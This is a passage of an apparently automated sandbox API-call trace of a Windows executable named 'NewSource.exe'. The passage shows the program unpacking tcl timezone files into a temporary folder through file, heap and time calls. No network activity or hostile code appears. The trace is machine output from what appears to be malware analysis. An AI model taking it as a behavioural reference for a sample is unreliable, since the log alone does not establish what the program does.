lpLocalTime=0x4f8ce8) returned 1 [0042.701] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.701] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.701] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.701] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.701] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.701] CloseHandle (hObject=0x10c) returned 1 [0042.701] GetLastError () returned 0x0 [0042.701] SetLastError (dwErrCode=0x0) [0042.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.701] GetFileType (hFile=0x10c) returned 0x1 [0042.701] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.701] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.701] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.701] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.702] CloseHandle (hObject=0x10c) returned 1 [0042.702] GetLastError () returned 0x0 [0042.702] SetLastError (dwErrCode=0x0) [0042.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.702] GetFileType (hFile=0x10c) returned 0x1 [0042.702] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.702] CloseHandle (hObject=0x10c) returned 1 [0042.702] GetLastError () returned 0x0 [0042.702] SetLastError (dwErrCode=0x0) [0042.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\San_Marino") returned 74 [0042.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\San_Marino" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\san_marino"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.703] GetLastError () returned 0x2 [0042.703] SetLastError (dwErrCode=0x2) [0042.703] GetLastError () returned 0x2 [0042.703] SetLastError (dwErrCode=0x2) [0042.703] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\San_Marino", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\San_Marino", lpFilePart=0x0) returned 0x49 [0042.703] GetLastError () returned 0x2 [0042.703] SetLastError (dwErrCode=0x2) [0042.703] GetLastError () returned 0x2 [0042.703] SetLastError (dwErrCode=0x2) [0042.703] GetLastError () returned 0x2 [0042.703] SetLastError (dwErrCode=0x2) [0042.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\San_Marino") returned 74 [0042.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\San_Marino" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\san_marino"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.703] GetFileType (hFile=0x10c) returned 0x1 [0042.703] htonl (hostlong=0xae000000) returned 0xae [0042.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.703] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0042.704] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.704] CloseHandle (hObject=0x10c) returned 1 [0042.704] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.704] htonl (hostlong=0x30000000) returned 0x30 [0042.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.704] GetFileType (hFile=0x10c) returned 0x1 [0042.704] htonl (hostlong=0xcb825c00) returned 0x5c82cb [0042.704] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6132cb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.705] htonl (hostlong=0x8c000000) returned 0x8c [0042.705] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0042.705] htonl (hostlong=0x8c000000) returned 0x8c [0042.705] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.705] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.705] htonl (hostlong=0xb8000000) returned 0xb8 [0042.705] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x550600 [0042.705] htonl (hostlong=0x8c000000) returned 0x8c [0042.705] htonl (hostlong=0xb8000000) returned 0xb8 [0042.705] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.705] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.705] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.705] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.705] CloseHandle (hObject=0x10c) returned 1 [0042.705] GetLastError () returned 0x0 [0042.705] SetLastError (dwErrCode=0x0) [0042.705] GetLastError () returned 0x0 [0042.705] SetLastError (dwErrCode=0x0) [0042.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.705] GetFileType (hFile=0x10c) returned 0x1 [0042.705] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.706] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.706] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.706] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.706] CloseHandle (hObject=0x10c) returned 1 [0042.706] GetLastError () returned 0x0 [0042.706] SetLastError (dwErrCode=0x0) [0042.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.706] GetFileType (hFile=0x10c) returned 0x1 [0042.706] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.706] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.706] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.706] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.706] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.706] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.706] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.706] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.706] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.706] CloseHandle (hObject=0x10c) returned 1 [0042.706] GetLastError () returned 0x0 [0042.706] SetLastError (dwErrCode=0x0) [0042.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.706] GetFileType (hFile=0x10c) returned 0x1 [0042.706] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.706] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.707] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.707] CloseHandle (hObject=0x10c) returned 1 [0042.707] GetLastError () returned 0x0 [0042.707] SetLastError (dwErrCode=0x0) [0042.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sarajevo") returned 72 [0042.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sarajevo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\sarajevo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.707] GetLastError () returned 0x2 [0042.707] SetLastError (dwErrCode=0x2) [0042.707] GetLastError () returned 0x2 [0042.707] SetLastError (dwErrCode=0x2) [0042.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sarajevo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sarajevo", lpFilePart=0x0) returned 0x47 [0042.707] GetLastError () returned 0x2 [0042.707] SetLastError (dwErrCode=0x2) [0042.707] GetLastError () returned 0x2 [0042.707] SetLastError (dwErrCode=0x2) [0042.707] GetLastError () returned 0x2 [0042.707] SetLastError (dwErrCode=0x2) [0042.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sarajevo") returned 72 [0042.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sarajevo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\sarajevo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.708] GetFileType (hFile=0x10c) returned 0x1 [0042.708] htonl (hostlong=0xb8000000) returned 0xb8 [0042.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.708] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0042.709] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.709] CloseHandle (hObject=0x10c) returned 1 [0042.709] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.709] htonl (hostlong=0x30000000) returned 0x30 [0042.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.709] GetFileType (hFile=0x10c) returned 0x1 [0042.709] htonl (hostlong=0x57835c00) returned 0x5c8357 [0042.709] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x613357, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.710] htonl (hostlong=0x7060000) returned 0x607 [0042.710] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x607) returned 0x550600 [0042.710] htonl (hostlong=0x7060000) returned 0x607 [0042.710] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.710] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.710] htonl (hostlong=0x611c0000) returned 0x1c61 [0042.710] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c61) returned 0x561090 [0042.710] htonl (hostlong=0x7060000) returned 0x607 [0042.710] htonl (hostlong=0x611c0000) returned 0x1c61 [0042.710] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d00 [0042.710] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d00 | out: hHeap=0x530000) returned 1 [0042.710] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.710] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.710] CloseHandle (hObject=0x10c) returned 1 [0042.710] GetLastError () returned 0x0 [0042.710] SetLastError (dwErrCode=0x0) [0042.710] GetLastError () returned 0x0 [0042.710] SetLastError (dwErrCode=0x0) [0042.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.710] GetFileType (hFile=0x10c) returned 0x1 [0042.710] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.711] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.711] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.711] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.711] CloseHandle (hObject=0x10c) returned 1 [0042.711] GetLastError () returned 0x0 [0042.711] SetLastError (dwErrCode=0x0) [0042.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: 